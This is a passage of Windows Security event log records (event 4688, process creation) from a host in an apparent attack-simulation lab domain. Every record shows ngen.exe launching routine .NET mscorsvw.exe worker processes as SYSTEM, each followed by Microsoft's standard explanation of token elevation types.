Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254358
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x298
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 0 -NGENProcess 288 -Pipe 36c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254357
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe20
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 36c -InterruptEvent 0 -NGENProcess 338 -Pipe 2a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254356
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x58c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d4 -InterruptEvent 0 -NGENProcess 338 -Pipe 3e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254355
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3e8 -InterruptEvent 0 -NGENProcess 2d4 -Pipe 37c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254354
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 0 -NGENProcess 31c -Pipe 380 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254353
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12d8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 37c -InterruptEvent 0 -NGENProcess 3e8 -Pipe 2f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254352
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 380 -InterruptEvent 0 -NGENProcess 3d4 -Pipe 2d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254365
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c4 -InterruptEvent 0 -NGENProcess 2c8 -Pipe 294 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254364
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 294 -InterruptEvent 0 -NGENProcess 2c4 -Pipe 278 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254363
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 278 -InterruptEvent 0 -NGENProcess 294 -Pipe 3a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254362
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 294 -Pipe 2d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254361
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d8 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 3cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254360
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1050
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3cc -InterruptEvent 0 -NGENProcess 2d8 -Pipe 288 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254369
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 354 -InterruptEvent 0 -NGENProcess 200 -Pipe 2e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254368
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1008
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e8 -InterruptEvent 0 -NGENProcess 354 -Pipe 15c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254367
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 3d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254366
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb90
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 0 -NGENProcess 3d4 -Pipe 2c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254373
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 28c -InterruptEvent 0 -NGENProcess 200 -Pipe 33c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

